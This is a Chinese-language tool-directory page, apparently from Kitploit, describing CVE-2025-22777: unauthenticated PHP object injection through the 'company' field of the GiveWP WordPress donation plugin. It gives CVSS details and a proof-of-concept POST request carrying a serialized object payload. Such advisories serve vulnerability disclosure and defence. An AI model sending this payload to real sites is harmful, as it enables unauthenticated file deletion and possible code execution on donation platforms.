Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-22777 — GiveWP – 捐赠插件和筹款平台 <= 3.19.3 - 未认证的PHP对象注入 | Kitploit
工具/GitHubGitHub/randomrobbiebf/cve-2025-22777
漏洞分析代码分析漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHubrandomrobbiebf/cve-2025-22777

CVE-2025-22777

GiveWP – 捐赠插件和筹款平台 <= 3.19.3 - 未认证的PHP对象注入

查看仓库
41年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-22777

GiveWP – 捐赠插件与筹款平台 <= 3.19.3 - 未认证的 PHP 对象注入

描述

GiveWP – 捐赠插件与筹款平台 WordPress 插件在包括 3.19.3 在内的所有版本中存在 PHP 对象注入漏洞，攻击者可通过捐赠表单中的 'company' 参数反序列化不受信任的输入。这使得未认证的攻击者能够注入 PHP 对象。此外，存在 POP 链，允许攻击者删除服务器上的任意文件，进而可能实现远程代码执行。请注意，该漏洞绕过了对 CVE-2024-12877 的修复。

详情

  • 类型: 插件
  • 别名: give
  • 受影响版本: 3.19.3
  • CVSS 分数: 9.8
  • CVSS 评级: 严重
  • CVSS 向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • CVE: CVE-2025-22777
  • 状态: 活跃

POC

root@kitploit:~
POST /?givewp-route=donate&givewp-route-signature=[SIGNATURE]&givewp-route-signature-id=givewp-donate&givewp-route-signature-expiration=[EXPIRY] HTTP/1.1
Host: kubernetes.docker.internal:8929
Content-Type: application/x-www-form-urlencoded
Content-Length: 163

amount=10&currency=USD&gatewayId=manual&formId=90&company=O:20:"PHP_Object_Injection":0:{}&firstName=Test&[email protected]&donationType=single&donationBirthday=
下载工具